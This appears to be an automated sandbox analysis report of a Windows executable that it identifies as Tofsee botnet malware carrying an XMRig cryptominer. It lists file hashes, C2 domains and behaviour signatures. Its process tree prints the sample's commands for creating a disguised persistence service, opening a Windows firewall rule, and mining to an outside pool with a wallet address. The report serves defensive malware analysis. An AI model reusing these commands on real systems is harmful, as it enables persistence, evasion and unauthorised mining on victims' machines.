Overview

overview

10

Static

static

1

8bfa1accff...45.exe

windows7-x64

10

8bfa1accff...45.exe

windows10-2004-x64

10

Resubmissions

08-05-2023 12:04

230508-n83alscc6v 10

14-02-2023 12:24

230214-pljenacf6s 1

14-02-2023 12:00

230214-n6rq4adb47 10

14-02-2023 11:52

230214-n1s2zace3s 10

24-01-2023 09:45

230124-lrfn6sad97 10

Analysis

  • max time kernel
    20s
  • max time network
    23s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-02-2023 12:00

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General

  • Target

    8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe

  • Size

    232KB

  • MD5

    f6254a206b59207201f38f69fb018932

  • SHA1

    4109d2edf584ce7f8104410eaa02ddae1aa37117

  • SHA256

    8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45

  • SHA512

    bf6ab8ed99b730a364affed3f341387d82a5fed4ae052f4e897726adae2e963182083a3ba6fa52dfa6f2bd9cc9c3b92643279f46bebf931288545938da5a01b6

  • SSDEEP

    3072:aIGGLok59Gt+ECvLFwyvBnlS1g/tK8MJ2LJDhzLrcSb54VIcVTuh:TLoYC+rK+ztK8MY3bIr

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe
    "C:\Users\Admin\AppData\Local\Temp\8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4824
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rqdvaoeo\
      2⤵
        PID:848
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\brtgxpa.exe" C:\Windows\SysWOW64\rqdvaoeo\
        2⤵
          PID:2404
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rqdvaoeo binPath= "C:\Windows\SysWOW64\rqdvaoeo\brtgxpa.exe /d\"C:\Users\Admin\AppData\Local\Temp\8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2660
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description rqdvaoeo "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4632
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start rqdvaoeo
          2⤵
          • Launches sc.exe
          PID:2144
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3708
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4824 -s 1036
          2⤵
          • Program crash
          PID:3948
      • C:\Windows\SysWOW64\rqdvaoeo\brtgxpa.exe
        C:\Windows\SysWOW64\rqdvaoeo\brtgxpa.exe /d"C:\Users\Admin\AppData\Local\Temp\8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3904
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2616
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3732
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3904 -s 532
          2⤵
          • Program crash
          PID:1240
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 4824 -ip 4824
        1⤵
          PID:3724
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 3904 -ip 3904
          1⤵
            PID:4752

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\brtgxpa.exe
            Filesize

            13.2MB

            MD5

            243c4711dea7bb8c074b896e68085c9e

            SHA1

            c6a14722e270e2cc91fb2ab61b0ef510b71e980b

            SHA256

            433e5be6124dda4b370b5ee0dfc8e5e290ca5af42c0acca83ee0e8b3b8efdbc0

            SHA512

            715814da9b3a22423c0f7d3b063f9e91b71e263df10d71111a9ff3b6dfe80d09e8148093b7acc171e2611fce9ab8bd6d3cf94797697721ddfb09e3a5ba7c8c77

            Download Submit

          • C:\Windows\SysWOW64\rqdvaoeo\brtgxpa.exe
            Filesize

            13.2MB

            MD5

            243c4711dea7bb8c074b896e68085c9e

            SHA1

            c6a14722e270e2cc91fb2ab61b0ef510b71e980b

            SHA256

            433e5be6124dda4b370b5ee0dfc8e5e290ca5af42c0acca83ee0e8b3b8efdbc0

            SHA512

            715814da9b3a22423c0f7d3b063f9e91b71e263df10d71111a9ff3b6dfe80d09e8148093b7acc171e2611fce9ab8bd6d3cf94797697721ddfb09e3a5ba7c8c77

            Download Submit

          • memory/848-135-0x0000000000000000-mapping.dmp

            Download

          • memory/2144-140-0x0000000000000000-mapping.dmp

            Download

          • memory/2404-136-0x0000000000000000-mapping.dmp

            Download

          • memory/2616-159-0x0000000002190000-0x00000000021A0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/2616-152-0x0000000000B10000-0x0000000000B25000-memory.dmp

            Filesize

            84KB

            Download

          • memory/2616-162-0x00000000021E0000-0x00000000021E5000-memory.dmp

            Filesize

            20KB

            Download

          • memory/2616-168-0x00000000021F0000-0x00000000021F7000-memory.dmp

            Filesize

            28KB

            Download

          • memory/2616-156-0x0000000002180000-0x0000000002186000-memory.dmp

            Filesize

            24KB

            Download

          • memory/2616-153-0x0000000002A00000-0x0000000002C0F000-memory.dmp

            Filesize

            2.1MB

            Download

          • memory/2616-165-0x0000000007900000-0x0000000007D0B000-memory.dmp

            Filesize

            4.0MB

            Download

          • memory/2616-151-0x0000000000B10000-0x0000000000B25000-memory.dmp

            Filesize

            84KB

            Download

          • memory/2616-145-0x0000000000000000-mapping.dmp

            Download

          • memory/2616-146-0x0000000000B10000-0x0000000000B25000-memory.dmp

            Filesize

            84KB

            Download

          • memory/2660-138-0x0000000000000000-mapping.dmp

            Download

          • memory/3708-142-0x0000000000000000-mapping.dmp

            Download

          • memory/3732-171-0x0000000000000000-mapping.dmp

            Download

          • memory/3732-172-0x0000000000690000-0x0000000000781000-memory.dmp

            Filesize

            964KB

            Download

          • memory/3732-177-0x0000000000690000-0x0000000000781000-memory.dmp

            Filesize

            964KB

            Download

          • memory/3904-149-0x00000000005D9000-0x00000000005E9000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3904-150-0x0000000000400000-0x000000000045E000-memory.dmp

            Filesize

            376KB

            Download

          • memory/4632-139-0x0000000000000000-mapping.dmp

            Download

          • memory/4824-143-0x00000000004FE000-0x000000000050E000-memory.dmp

            Filesize

            64KB

            Download

          • memory/4824-132-0x00000000004FE000-0x000000000050E000-memory.dmp

            Filesize

            64KB

            Download

          • memory/4824-144-0x0000000000400000-0x000000000045E000-memory.dmp

            Filesize

            376KB

            Download

          • memory/4824-133-0x0000000000610000-0x0000000000623000-memory.dmp

            Filesize

            76KB

            Download

          • memory/4824-134-0x0000000000400000-0x000000000045E000-memory.dmp

            Filesize

            376KB

            Download